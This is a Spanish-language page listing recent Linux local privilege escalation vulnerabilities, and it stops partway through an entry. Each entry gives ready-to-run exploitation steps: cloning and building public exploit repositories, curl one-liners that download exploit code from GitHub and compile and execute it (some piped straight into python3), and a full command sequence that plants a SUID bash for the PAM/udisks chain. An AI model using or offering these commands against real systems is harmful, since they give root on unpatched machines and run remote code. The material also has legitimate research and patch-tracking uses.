La evolución de los modelos de inteligencia artificial ha acelerado la investigación de vulnerabilidades y, con ella, la aparición de nuevos fallos de severidad alta o crítica, incluidos numerosos exploits de escalada local de privilegios en Linux. Como resulta difícil seguir el ritmo al que se publican nuevas investigaciones, PoC y parches, esta página reúne algunas de las vulnerabilidades recientes más relevantes con la intención de mantener una lista actualizada.
A continuación proporcionamos un script básico de enumeración que identifica versiones, configuraciones y superficies del sistema relacionadas con estas vulnerabilidades. De esta forma es posible enumerar rápidamente si tu versión de sistema operativo es vulnerable a alguno de los CVE que aquí se listan.
CVE-2026-72137: XFRM NAT keepalive double-free
Descripción: nat_keepalive_send() vuelve a liberar un skb que la ruta IPv4/IPv6 ya consumió al devolver un error, permitiendo corrupción de heap y escalada local.
Requisitos: Código introducido en Linux 6.11, XFRM NAT keepalive y kernel sin parche. Corregido en 6.12.101, 6.18.40, 7.1.5 y v7.2-rc4. Ubuntu 26.04 seguía marcado como vulnerable el 27 de agosto de 2026.
PoC: El exploit de NebuSec está perfilado para Ubuntu 26.04 con kernel 7.0.0-28. Compilar y ejecutar sólo sobre ese build; 7.0.0-29 requiere confirmar offsets y el changelog del paquete antes de reutilizar el perfil.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-72137-ubuntu-7.0.0-28
make
./exploitEl Makefile usa musl-gcc y genera un binario estático llamado exploit.
Referencias: NebuSec/CyberMeowfia · Autor: NebuSec · Divulgación: agosto de 2026.
CVE-2026-43501: Route of Root
Descripción: El procesamiento de cabeceras IPv6 RPL puede reconstruir incorrectamente mac_header y producir una escritura fuera de límites de 14 bytes. NebuSec convierte esta primitive en lectura/escritura de memoria del kernel y root.
Requisitos: Linux 5.7-rc1–7.1-rc1 con IPv6. La ruta local requiere user y network namespaces sin privilegios; la ruta remota requiere net.ipv6.conf.*.rpl_seg_enabled=1. El exploit publicado necesita un perfil compatible con el kernel.
PoC: Compilar el target de NebuSec/CyberMeowfia y ejecutarlo como usuario normal sobre el build soportado. El análisis Route of Root documenta la escritura OOB, el bypass de KASLR y la cadena hasta root.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-43501-kernelCTF
make
./exploit --vuln-trigger # sólo comprueba el trigger
./exploit # cadena completa para el target soportadomake descarga target_db.kxdb, clona google/kernel-research y compila libkernelXDK; requiere g++, Git, wget, CMake y enlace estático.
Referencias: Route of Root · Autor: NebuSec · Reportado: 23 de febrero de 2026.
CVE-2026-74480: bridge multicast fast-leave UAF
Descripción: br_multicast_leave_group() continúa recorriendo la lista después de borrar un port group, dejando un puntero liberado cuando multicast-to-unicast se activa y después se desactiva.
Requisitos: Linux bridge con multicast snooping, fast-leave y multicast-to-unicast; user/network namespaces para preparar la topología sin privilegios. Corregido en 5.10.265, 5.15.216, 6.1.183, 6.6.151, 6.12.103, 6.18.44, 7.1.8 y 7.2.
PoC: Usar el perfil de RHEL 10.2 6.12.0-211.7.3.el10_2 publicado en NebuSec/CyberMeowfia. El aviso oficial del kernel recoge la causa y las versiones corregidas.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-74480-RHEL-6.12.0-211.7.3.el10_2
make
./exploit --vuln-trigger # reproduce el UAF
./exploit --leak-only # valida la fase de leak
./exploit # exploit completoEl Makefile requiere musl-gcc; los demás argumentos están destinados a fases internas del exploit.
Referencias: Aviso oficial del kernel · Autor del exploit: NebuSec · Divulgación: 15 de agosto de 2026.
CVE-2026-52912: NFQUEUE bridge skb->dev UAF
Descripción: NFQUEUE conserva skb->dev después de liberar el bridge master mientras el paquete está en cola. Al reinyectarlo, el kernel reutiliza el puntero liberado y permite controlar el flujo de ejecución.
Requisitos: Bridge, br_netfilter, NFQUEUE, nftables y user/network namespaces. El exploit público está perfilado para Fedora con kernel 6.19.10-300.fc43.x86_64.
PoC: Compilar y ejecutar el target Linux-CVE-2026-52912-Fedora-6.19.10-300. El código crea el bridge y los veth, encola el paquete, libera el master y reclama el objeto antes de aceptar el paquete retenido.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52912-Fedora-6.19.10-300
make
./exploitEl Makefile compila estáticamente con musl-gcc; --worker es una fase interna que el propio binario relanza.
Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.
CVE-2026-52923: SysV IPC IDR UAF
Descripción: La ruta checkpoint/restore permite asignar un identificador SysV IPC fuera de ipc_mni. La codificación posterior trunca el índice, libera el objeto equivocado y deja una entrada IDR apuntando a memoria liberada.
Requisitos: SysV IPC, checkpoint/restore y user/IPC namespaces. El exploit publicado corresponde a RHEL 10.2 con kernel 6.12.0-211.7.3.el10_2 y utiliza shared memory, /proc/sysvipc/shm y un perfil exacto de offsets.
PoC: Compilar el perfil Linux-CVE-2026-52923-RHEL-6.12.0-211.7.3.el10_2. El argumento --vuln-trigger reproduce únicamente la asignación fuera de rango; sin argumentos ejecuta la cadena completa del target.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52923-RHEL-6.12.0-211.7.3.el10_2
make
./exploit --vuln-trigger
./exploitEl primer comando valida el fallo de SysV IPC sin ejecutar las fases de leak, reclaim, objeto falso y ROP empleadas por la cadena completa.
Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.
CVE-2026-23274: Netfilter IDLETIMER use-before-initialization
Descripción: Una regla xt_IDLETIMER revisión 0 puede reutilizar una etiqueta creada con la revisión 1 y backend ALARM, haciendo que mod_timer() opere sobre un timer_list sin inicializar y permitiendo secuestrar el flujo de control.
Requisitos: Kernel desde 5.7-rc1 sin el fix, xt_IDLETIMER, user/network namespaces y CAP_NET_ADMIN dentro del namespace. El exploit fue validado contra el target COS de kernelCTF.
PoC: Compilar el exploit de NebuSec. El write-up técnico explica la reutilización de la etiqueta, el control del temporizador y la cadena ROP.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-23274-kernelCTF
make
./exploit --vuln-trigger
./exploitEl Makefile obtiene kernelXDK y su base de targets. --vuln-trigger limita la ejecución a la reproducción de IDLETIMER; sin argumentos usa el perfil kernelCTF completo.
Referencias: Investigación de NebuSec · Autor: NebuSec · Reportado: 1 de marzo de 2026.
CVE-2026-52929: SCTP stream rollback
Descripción: Al denegar ADD_OUT_STREAMS, SCTP no revierte completamente el estado privado del scheduler. Las listas RR/FC/PRIO quedan inconsistentes y el exploit las convierte en una primitive de lectura/escritura para modificar credenciales.
Requisitos: SCTP con stream reset/reconfiguration y un perfil exacto del kernel. El target de NebuSec es Ubuntu 26.04 con kernel 7.0.0-28-generic; no debe extrapolarse a cualquier kernel afectado.
PoC: Compilar confuse.c desde Linux-CVE-2026-52929-Ubuntu-7.0.0-28 con el Makefile incluido y ejecutarlo como usuario normal sobre ese build.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52929-Ubuntu-7.0.0-28
make
./exploitEl Makefile transforma confuse.c en un binario estático exploit con GCC y pthreads.
Referencias: CVE-2026-52929 · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.
CVE-2026-52933: io_uring poll_refs signed wrap
Descripción: io_poll_get_ownership() compara poll_refs como entero con signo. Al establecer el bit de cancelación o desbordar el contador, omite el slow path y permite duplicar finalizaciones y referencias hasta construir un page UAF.
Requisitos: io_uring habilitado, arquitectura x86-64 y el target Fedora 6.19.10-300.fc43.x86_64. La cadena completa necesita alrededor de 2^30 wakeups y offsets específicos del build.
PoC: Compilar el perfil Linux-CVE-2026-52933-Fedora-6.19.10-300. Ejecutar primero su modo preflight; el modo exploit realiza el wrap y encadena el page UAF hasta el payload privilegiado.
git clone --depth 1 https://github.com/NebuSec/CyberMeowfia.git
cd CyberMeowfia/security-research/Linux-CVE-2026-52933-Fedora-6.19.10-300
make
./exploit 1073741823 1 preflight
./exploitEl primer argumento es el número de wakeups y el segundo los workers. Sin argumentos usa (2^30)-1, un worker, modo directo y la cadena completa.
Referencias: Debian Security Tracker · Autor del exploit: NebuSec · Divulgación: 24 de junio de 2026.
CVE-2026-64531: OVSwrap
Descripción: Una action anidada de Open vSwitch superior a 65 535 bytes desborda nla_len; el parser termina interpretando conntrack controlado como atributos y permite alterar credenciales del kernel.
Requisitos: Kernel anterior al fix del 24 de julio de 2026, user/network namespaces, Open vSwitch conntrack y Python 3. El módulo openvswitch.ko puede cargarse automáticamente. Debian 13 y Ubuntu 24.04 tienen perfiles publicados.
PoC: Ejecutar como usuario normal el PoC oficial de manizada, que selecciona el perfil del kernel:
curl -fsSLo /tmp/ovswrap-poc.py https://raw.githubusercontent.com/manizada/OVSwrap/main/ovswrap-poc.py && python3 /tmp/ovswrap-poc.pyDebe guardarse como fichero: el proceso padre vuelve a ejecutar sys.argv[0] con --child dentro del namespace, por lo que curl | python3 no funciona aquí. El script selecciona automáticamente entre aproximadamente 800 perfiles x86-64; para builds no incluidos intenta derivar los datos desde BTF o símbolos locales.
Referencias: OVSwrap · Autor: manizada · Divulgación: 28 de julio de 2026.
CVE-2026-53361: BadGarbage
Descripción: Una carrera entre el garbage collector de sockets AF_UNIX y MSG_PEEK libera un socket todavía alcanzable y deja un sk_buff colgante; el mismo primitive permite LPE y escape de contenedor.
Requisitos: Target soportado por el exploit. El perfil recomendado es Debian 13 con kernel 6.12.94; también soporta Ubuntu 24.04 HWE hasta 6.17.0-41. Para demostrar escape, usar Docker dentro de la VM, no un LXC del hipervisor.
PoC: Compilar el perfil exacto del repositorio bad_garbage y ejecutar primero en el host de la VM; para container escape, repetir dentro de un contenedor Docker privilegiado únicamente con las capacidades indicadas por el README:
git clone --depth 1 https://github.com/sgkdev/bad_garbage.git
cd bad_garbage
make
./exploitEl Makefile requiere x86_64-linux-gnu-gcc y genera exploit; el repositorio limita el diseño publicado a máquinas con 2–7 CPU y a los kernels de su tabla de targets.
Referencias: bad_garbage · Autor: sgkdev · Divulgación: agosto de 2026.
CVE-2026-46242: Bad Epoll
Descripción: Una carrera en epoll deja un objeto liberado accesible y permite convertir una escritura UAF de 8 bytes en lectura arbitraria y ejecución de una cadena ROP como root.
Requisitos: Kernel basado en v6.4 o posterior sin el commit a6dc643c6931. No depende de módulos ni user namespaces. El exploit público soporta lts-6.12.67 y cos-121-18867.294.100; otros kernels requieren un perfil nuevo.
PoC: Seleccionar uno de los targets soportados y seguir el build del repositorio original de Bad Epoll. El perfil lts-6.12.67 obtuvo root con una fiabilidad publicada del 99 % en kernelCTF.
git clone --depth 1 --branch submit-cve-2026-46242 \
https://github.com/J-jaeyoung/security-research.git
cd security-research/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/exploit/lts-6.12.67
make
./exploitPara COS se usa el directorio cos-121-18867.294.100. Sus Makefiles requieren g++, CMake, make, wget, Git y libkeyutils-dev, y descargan google/kernel-research y target_db.kxdb.
Referencias: Bad Epoll · Autor: J-jaeyoung · Fecha de descubrimiento no publicada.
CVE-2026-31431: Copy Fail
Descripción: algif_aead permite escribir sobre páginas del page cache mediante splice(), alterando en memoria un binario SUID y obteniendo root sin modificarlo en disco.
Requisitos: Kernel vulnerable, Python 3 con os.splice(), AF_ALG, algif_aead, authencesn y un binario SUID legible como /usr/bin/su.
PoC: Ejecutar el PoC oficial de Theori:
curl -fsSL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py | python3Es un único script autocontenido y termina llamando él mismo a su; no hace falta ejecutar un segundo su.
Referencias: Theori: Copy Fail · Autor: Theori · Divulgación: 29 de abril de 2026.
CVE-2026-41651: Pack2TheRoot
Descripción: Dos llamadas D-Bus InstallFiles() sobre la misma transacción de PackageKit cambian flags y rutas después de la autorización, permitiendo instalar un paquete arbitrario como root.
Requisitos: PackageKit 1.0.2–1.3.4, D-Bus, polkit y packagekitd. Corregido en 1.3.5 y backports.
PoC: El exploit público de Vozec puede compilarse contra GLib/GIO o ejecutarse en el laboratorio reproducible:
git clone --depth 1 https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
sudo apt install -y build-essential pkg-config libglib2.0-dev
make
./cve-2026-41651El contenedor del repositorio construye PackageKit 1.3.4, el último upstream vulnerable:
docker build -t pack2theroot .
docker run --rm -it --privileged pack2therootReferencias: CVE-2026-41651 · Autor del exploit público: Vozec · Divulgación: abril de 2026.
CVE-2025-32463: sudo --chroot
Descripción: sudo -R consulta nsswitch.conf dentro de un chroot controlado por el usuario y carga una biblioteca NSS como root.
Requisitos: sudo 1.9.14–1.9.17 anterior a 1.9.17p1. Ubuntu 24.04 sin el parche es un laboratorio sencillo; no hace falta una regla sudoers que autorice al usuario.
PoC: Usar el PoC enlazado por el advisory de sudo:
git clone --depth 1 https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
chmod +x run.sh sudo-chwoot.sh
./run.sh
# Dentro del contenedor vulnerable:
./sudo-chwoot.sh idReferencias: Advisory de sudo · Investigador: Rich Mirch, Stratascale CRU · Divulgación: 30 de junio de 2025.
CVE-2026-43284 + CVE-2026-43500: Dirty Frag
Descripción: Dos fallos de fragmentación en XFRM/ESP y RxRPC permiten descifrar datos sobre páginas compartidas y sobrescribir el page cache de un ejecutable SUID.
Requisitos: Kernel anterior a la cadena de fixes del 4 de mayo de 2026, módulos esp4, esp6 y rxrpc, user namespaces y un SUID legible. Son dos CVE y deben corregirse ambas.
PoC: Compilar el perfil correspondiente del repositorio de V4bel, cargar los módulos indicados y ejecutar el binario como usuario normal:
curl -fsSLo /tmp/dirtyfrag.c https://raw.githubusercontent.com/V4bel/dirtyfrag/master/exp.c && gcc -O0 -Wall -o /tmp/dirtyfrag /tmp/dirtyfrag.c -lutil && /tmp/dirtyfragEl repositorio no contiene Makefile y exp.c es autocontenido. Ésas son las flags de compilación publicadas por el autor.
Referencias: Dirty Frag · Autor: V4bel · Divulgación: 7 de mayo de 2026.
CVE-2026-46331: pedit COW
Descripción: act_pedit calcula un rango COW incompleto para offsets dinámicos y termina escribiendo sobre una página compartida del page cache.
Requisitos: Kernel v5.18–v7.1-rc6, act_pedit, user y network namespaces y un SUID legible. Targets verificados: Debian 13 6.12.90+deb13.1 y Ubuntu 24.04.4 6.17.0-22.
PoC: Compilar el exploit packet_edit_meme:
git clone --depth 1 https://github.com/yanxinwu946/CVE-2026-46331.git
cd CVE-2026-46331
make
./packet_edit_meme # Debian 13
./packet_edit_meme --ubuntu # Ubuntu 24.04.4El Makefile produce un binario estático x86-64. En Ubuntu, --ubuntu selecciona la ruta prevista para el bloqueo AppArmor de user namespaces.
Referencias: CVE-2026-46331 · Autor: yanxinwu946 · Divulgación: junio de 2026.
CVE-2026-43499: GhostLock
Descripción: Una carrera en FUTEX_CMP_REQUEUE_PI deja un rt_mutex_waiter de la pila referenciado después de retornar, proporcionando escrituras de puntero en kernel y una vía a root.
Requisitos: Kernel vulnerable con futex PI. El trigger es genérico, pero la cadena completa publicada exige Android ARM64 y un PROJECT exacto incluido en el repositorio. No existe allí un perfil completo para Ubuntu.
PoC: En Linux, compilar únicamente el trigger publicado. Provoca la carrera y puede quedarse bloqueado; no concede root:
curl -fsSLo /tmp/ghostlock-poc.c https://raw.githubusercontent.com/NebuSec/CyberMeowfia/main/IonStack/CVE-2026-43499/poc/poc.c && gcc -std=gnu17 -O2 -pthread -o /tmp/ghostlock-poc /tmp/ghostlock-poc.c && /tmp/ghostlock-pocEl exploit completo de exploit/ usa Android NDK y perfiles blazer, caiman, comet, frankel, komodo, mustang, rango y tokay. make list-projects enumera los builds admitidos y make PROJECT=<build> genera build/<build>/bin/preload.so; no debe presentarse como exploit genérico de Ubuntu.
Referencias: GhostLock · Autor: NebuSec · Reportado: 18 de abril de 2026.
CVE-2026-46333: ptrace exit race
Descripción: Una carrera entre pidfd_getfd() y la salida de un proceso hace que __ptrace_may_access() omita el control cuando mm == NULL, permitiendo robar descriptores abiertos por procesos privilegiados.
Requisitos: Kernel anterior al commit 31e62c2ebbfd, acceso local y kernel.yama.ptrace_scope=1. El resultado depende del proceso objetivo: lectura de /etc/shadow, claves SSH o ejecución privilegiada.
PoC: Para una escalada reproducible contra accounts-daemon, compilar el PoC ptrace_may_dream:
git clone --depth 1 https://github.com/sgkdev/ptrace_may_dream.git
cd ptrace_may_dream
make
./ptrace_may_dream --retries 1000 --nthreads 8Acepta --retries N, --nthreads N y un slot de descriptor opcional. El target publicado es accounts-daemon sobre RHEL 10/Fedora 44 con su socket D-Bus en el FD 5.
Referencias: ptrace_may_dream · Autor: sgkdev · Divulgación: 20 de mayo de 2026.
CVE-2026-46243: CIFSwitch
Descripción: El kernel acepta descripciones cifs.spnego fabricadas por userspace; cifs.upcall confía en sus campos de identidad y ejecuta la resolución de credenciales con autoridad incorrecta.
Requisitos: Kernel y cifs-utils sin parche, keyrings y user namespaces. Kali 2026.1 anterior al parche es el target más directo; Ubuntu 24.04 requiere instalar cifs-utils y sortear la restricción AppArmor de userns.
PoC: Compilar y ejecutar el perfil de Kali del repositorio oficial CIFSwitch:
curl -fsSL https://raw.githubusercontent.com/manizada/CIFSwitch/main/cifswitch-poc.py | python3Es un único script autocontenido: genera y compila con GCC dos helpers C, una biblioteca NSS falsa y el trigger de cifs.upcall.
Referencias: CIFSwitch · Autor: manizada · Divulgación: 27 de mayo de 2026.
CVE-2024-1086: nf_tables UAF
Descripción: Use-after-free en nf_tables que permite a un usuario local corromper memoria del kernel y obtener root.
Requisitos: Kernel 5.14–6.6 sin parche, CONFIG_USER_NS=y, user namespaces sin privilegios y CONFIG_NF_TABLES=y. Debian 12 con 6.1.75 es un target directo; 6.1.76 ya contiene el fix. El exploit puede provocar un kernel panic después de obtener root.
PoC: Compilar y ejecutar el exploit de Notselwyn:
git clone --depth 1 https://github.com/Notselwyn/CVE-2024-1086.git
cd CVE-2024-1086
make
./exploitPara una ejecución remota por SSH, el README recomienda activar CONFIG_REDIRECT_LOG=1 en src/config.h antes de compilar. El binario publicado está configurado para x86-64 y hasta 32 GiB de RAM.
Referencias: CVE-2024-1086 · Autor: Notselwyn · Divulgación: enero de 2024.
CVE-2026-8933: snap-confine file capabilities
Descripción: La variante de snap-confine con file capabilities crea temporalmente rutas de /tmp/snap.rootfs_* con el UID del usuario. Dos carreras permiten sustituir una ruta por un symlink y conservar permisos de escritura después del fchown(), creando finalmente una regla de udev como root.
Requisitos: Ubuntu Desktop 26.04 o una 24.04 con la variante basada en file capabilities, anterior a snapd 2.76.1. Las instalaciones tradicionales SUID no siguen la misma ruta vulnerable.
PoC: Validar primero cuál de las dos copias usa file capabilities:
getcap /usr/lib/snapd/snap-confine /snap/snapd/current/usr/lib/snapd/snap-confine 2>/dev/null
stat -c '%A %U:%G %n' /usr/lib/snapd/snap-confine /snap/snapd/current/usr/lib/snapd/snap-confine 2>/dev/null
snap versionEl advisory técnico de Qualys muestra la ejecución como ./exploit y el resultado en /tmp/pwned, pero aclara en su cronología que el exploit fue entregado privadamente a Ubuntu; no adjunta su fuente. La reproducción pública disponible es, por tanto, la validación de versión/capabilities y la descripción de las dos carreras, no un binario compilable descargable.
Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 21 de julio de 2026.
CVE-2026-53264: Traffic-Control action UAF
Descripción: Una carrera entre NEWTFILTER y DELFILTER libera una action de traffic control mientras otro hilo todavía la utiliza, proporcionando un use-after-free explotable como root.
Requisitos: Kernel sin el arreglo RCU de act_api, traffic control y un target compatible. El exploit público está orientado a CentOS Stream 9 Desktop y utiliza Intel Processor Trace, por lo que no es directamente portable a la mayoría de VM cloud.
PoC: Compilar y ejecutar el target publicado por STAR Labs sobre la versión exacta de CentOS Stream 9 indicada en su README. El análisis y las limitaciones del exploit están en el write-up original.
git clone --depth 1 https://github.com/star-sg/CVE.git
cd CVE/CVE-2026-53264
make poc
./pocEl Makefile construye poc estáticamente con GCC/G++, pthreads y las rutinas de leak específicas del target; no ofrece selección automática para otros kernels.
Referencias: Write-up de STAR Labs · Autor: STAR Labs · Divulgación: julio de 2026.
CVE-2026-43503: DirtyClone
Descripción: La cadena incompleta de parches de Dirty Frag pierde flags de fragmentos durante skb_shift()/GRO y permite volver a escribir sobre páginas del page cache.
Requisitos: Kernel con sólo parte de los cuatro fixes Dirty Frag, user namespaces y un SUID legible. Ubuntu 22.04 es un target cómodo; el fix final llegó en v7.1-rc5.
PoC: Compilar y ejecutar una de las dos variantes (skb_shift o gro) publicadas en page-cache-corruption-lpes:
curl -fsSLo /tmp/dirtyclone.c https://raw.githubusercontent.com/rjt-gupta/page-cache-corruption-lpes/main/skb_shift/exploit.c && gcc -O2 -Wall -static -o /tmp/dirtyclone /tmp/dirtyclone.c && /tmp/dirtycloneLa variante GRO usa https://raw.githubusercontent.com/rjt-gupta/page-cache-corruption-lpes/main/gro/exploit.c; ambos son exploit.c autocontenidos.
Referencias: page-cache-corruption-lpes · Autor: Rishabh Gupta · Divulgación: 25 de junio de 2026.
CVE-2026-46300: Fragnesia
Descripción: ESP-in-TCP procesa fragmentos sin separar correctamente páginas compartidas, permitiendo corromper el page cache y reemplazar en memoria el código de un SUID.
Requisitos: Kernel vulnerable con XFRM, ESP-in-TCP, esp4/esp6, user namespaces y un SUID legible. En Ubuntu 24.04 el perfil AppArmor puede impedir crear el user namespace.
PoC: La ruta publicada actualmente es fragnesia dentro del repositorio de V12 Security:
curl -fsSLo /tmp/fragnesia.c https://raw.githubusercontent.com/v12-security/pocs/main/fragnesia/fragnesia.c && gcc -O2 -o /tmp/fragnesia /tmp/fragnesia.c && /tmp/fragnesiaEl binario selecciona /usr/bin/su, prepara user/network namespaces, instala la SA XFRM y escribe el payload byte a byte en el page cache.
Referencias: Fragnesia · Autor: William Bowling, V12 Security · Divulgación: 13 de mayo de 2026.
CVE-2026-43494: PinTheft
Descripción: Un fallo de referencias en RDS zero-copy, combinado con buffers fijos de io_uring, libera una página todavía referenciada y permite sobrescribir el page cache de un SUID.
Requisitos: x86-64, rds, rds_tcp, io_uring habilitado y un SUID legible. El PoC original está perfilado para Arch Linux anterior al parche.
PoC: Compilar el exploit completo de V12 Security y ejecutarlo como usuario normal:
curl -fsSLo /tmp/pintheft.c https://raw.githubusercontent.com/v12-security/pocs/main/pintheft/poc.c && gcc -O2 -static -o /tmp/pintheft /tmp/pintheft.c && /tmp/pintheftEl código de 0xBlackash/CVE-2026-43494 no se usa aquí porque deja explícitamente sin implementar el READ_FIXED de la fase final. El PoC de V12 sí implementa los reintentos, la corrupción del page cache y la ejecución del SUID.
Referencias: PinTheft · Autor: Aaron Esau, V12 Security · Divulgación: mayo de 2026.
CVE-2026-64600: RefluXFS
Descripción: Una carrera de XFS reflink permite modificar bloques compartidos de un archivo privilegiado y persistir el cambio en disco.
Requisitos: XFS con reflink=1, kernel sin backport del fix y acceso local. RHEL 10.2 o Rocky/Alma equivalente con raíz XFS es el laboratorio de referencia.
PoC: Confirmar primero que el filesystem objetivo es XFS y fue creado con reflink:
findmnt -no FSTYPE,TARGET /
xfs_info / | grep 'reflink=1'
uname -rEl advisory completo de Qualys documenta la carrera: clonar con FICLONE un archivo legible hacia /var/tmp, abrir el clon con O_DIRECT y lanzar 32 escrituras de 4 KiB sincronizadas. Qualys no publicó el código del exploit ni un trigger descargable, por lo que no existe un comando de compilación oficial que reproducir. El exploit demostrado modifica /etc/passwd en disco y después ejecuta su.
Referencias: Advisory RefluXFS · Autor: Qualys Threat Research Unit · Divulgación: 22 de julio de 2026.
CVE-2026-64564: SCTPhantom
Descripción: SCTP ASCONF procesa una secuencia DEL-IP que libera el transport todavía guardado en la asociación, dejando primary_path y active_path apuntando a memoria liberada.
Requisitos: Kernel con SCTP disponible y sin el commit 9b2854f86f0b; el fallo existe desde v2.6.25 y el fix entró en v7.2-rc5. Un usuario local puede habilitar ASCONF y AUTH por socket sin CAP_NET_ADMIN.
PoC: Los investigadores demostraron LPE y container escape, pero no publicaron su exploit. El tracker de SCTPhantom contiene la secuencia de trigger y el estado de parches. El código comunitario para Debian 13 6.12.95 no está verificado como exploit oficial.
Referencias: SCTPhantom tracker · Autor: suominen · Fecha de descubrimiento no publicada.
CVE-2026-23111: nftables genmask UAF
Descripción: Una comprobación de generation mask invertida en nft_map_catchall_activate() deja referencias colgantes y permite reutilizar una cadena liberada.
Requisitos: Kernel con el bug, user namespaces sin privilegios y nf_tables. Debian con kernel upstream 6.12.69 es el target descrito; 6.12.70 contiene el fix.
PoC: Compilar el exploit nft-catchall-uaf del repositorio de Rafael Tinoco siguiendo su README; el perfil, offsets y estrategia de reclaim deben coincidir con el kernel del laboratorio.
curl -fsSLo /tmp/nft-catchall-uaf.c https://raw.githubusercontent.com/rafaeldtinoco/security/main/exploits/nft-catchall-uaf/exploit.c && gcc -O2 -Wno-unused-result -o /tmp/nft-catchall-uaf /tmp/nft-catchall-uaf.c
/tmp/nft-catchall-uaf check # valida la ruta vulnerable
/tmp/nft-catchall-uaf # LPE para Debian 6.12.5-amd64 con ibt=offcheck es independiente de offsets; la cadena completa no lo es y el autor la limita deliberadamente a un boot sin CONFIG_X86_KERNEL_IBT.
Referencias: nft-catchall-uaf · Autor: Rafael David Tinoco · Divulgación: junio de 2026.
CVE-2026-3888: snap-confine + systemd-tmpfiles
Descripción: systemd-tmpfiles elimina /tmp/.snap; un usuario puede reconstruirlo y hacer que snap-confine monte contenido controlado con privilegios de root.
Requisitos: Ubuntu Desktop 24.04 con snapd anterior a 2.73+ubuntu24.04.2. La caducidad normal es de 30 días, pero en laboratorio puede ejecutarse manualmente la regla de limpieza.
PoC: Abrir una shell dentro del snap y mantener vivo /tmp hasta que desaparezca .snap:
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash
cd /tmp
while test -d ./.snap; do touch ./; sleep 60; doneDesde otra terminal, usar /proc/<PID>/cwd e invalidar el sandbox como documenta el advisory de Qualys:
cd /proc/<PID_DE_LA_SHELL>/cwd
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistentQualys no publicó el fuente de firefox_24.04.c: la cronología indica que lo entregó privadamente al Ubuntu Security Team. Por tanto, la secuencia pública permite reproducir la preparación y desaparición de .snap, pero no compilar la cadena LPE completa. La aceleración de systemd-tmpfiles requiere modificar el tiempo del laboratorio y ejecutar su limpieza como root.
Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 17 de marzo de 2026.
CVE-2026-31635: DirtyDecrypt / DirtyCBC
Descripción: rxgk_decrypt_skb() descifra AES-CBC sin un COW previo y escribe directamente sobre páginas compartidas del page cache.
Requisitos: Kernel vulnerable compilado con CONFIG_RXGK=y o m, soporte AF_RXRPC y un SUID legible. Muchos kernels de distribución no incluyen RxGK; es preferible compilar un kernel vulnerable.
PoC: El PoC de V12 Security documenta el build y el target. Verificar primero CONFIG_RXGK, compilar y ejecutar:
grep CONFIG_RXGK /boot/config-"$(uname -r)"
curl -fsSLo /tmp/dirtydecrypt.c https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c && gcc -O2 -o /tmp/dirtydecrypt /tmp/dirtydecrypt.c && /tmp/dirtydecryptEl repositorio publica poc.c sin Makefile; necesita que el kernel incluya realmente RxGK, no sólo AF_RXRPC.
Referencias: DirtyDecrypt · Autor: V12 Security · Divulgación: mayo de 2026.
CVE-2025-6018 + CVE-2025-6019: PAM + libblockdev/udisks
Descripción: La primera vulnerabilidad convierte una sesión SSH normal de SUSE en una sesión allow_active; la segunda abusa de libblockdev mediante udisks para montar un filesystem preparado y ejecutar código como root.
Requisitos: openSUSE Leap 15.6/SUSE 15 anterior a los parches de junio de 2025, SSH, PAM vulnerable, polkit, udisks2 y libblockdev. Confirmar desde la sesión SSH que org.freedesktop.udisks2.modify-device devuelve yes para allow_active.
PoC: En la víctima openSUSE, convertir la próxima sesión SSH en allow_active y volver a entrar:
printf 'XDG_SEAT OVERRIDE=seat0\nXDG_VTNR OVERRIDE=1\n' > ~/.pam_environment
exit
ssh usuario@victima
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanRebootLa respuesta debe ser ('yes',). En una máquina de laboratorio con root, preparar y transferir la imagen XFS del advisory:
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs xfs.image
mkdir xfs.mount
mount -t xfs xfs.image xfs.mount
cp /bin/bash xfs.mount/bash
chmod 04555 xfs.mount/bash
umount xfs.mount
scp xfs.image usuario@victima:De nuevo en la víctima:
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
udisksctl loop-setup --file ./xfs.image --no-user-interaction
while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
/tmp/blockdev*/bash -pEstos son los comandos publicados por Qualys; el loop device puede no ser loop0 y debe sustituirse en el object path por el devuelto por udisksctl.
Referencias: Advisory de Qualys · Autor: Qualys Threat Research Unit · Divulgación: 17 de junio de 2025.
CVE-2025-6020 + CVE-2025-8941: pam_namespace
Descripción: pam_namespace sigue rutas controlables por el usuario durante la creación de directorios polyinstanciados; symlinks y carreras permiten que root opere sobre rutas elegidas. CVE-2025-8941 completa el arreglo insuficiente de CVE-2025-6020.
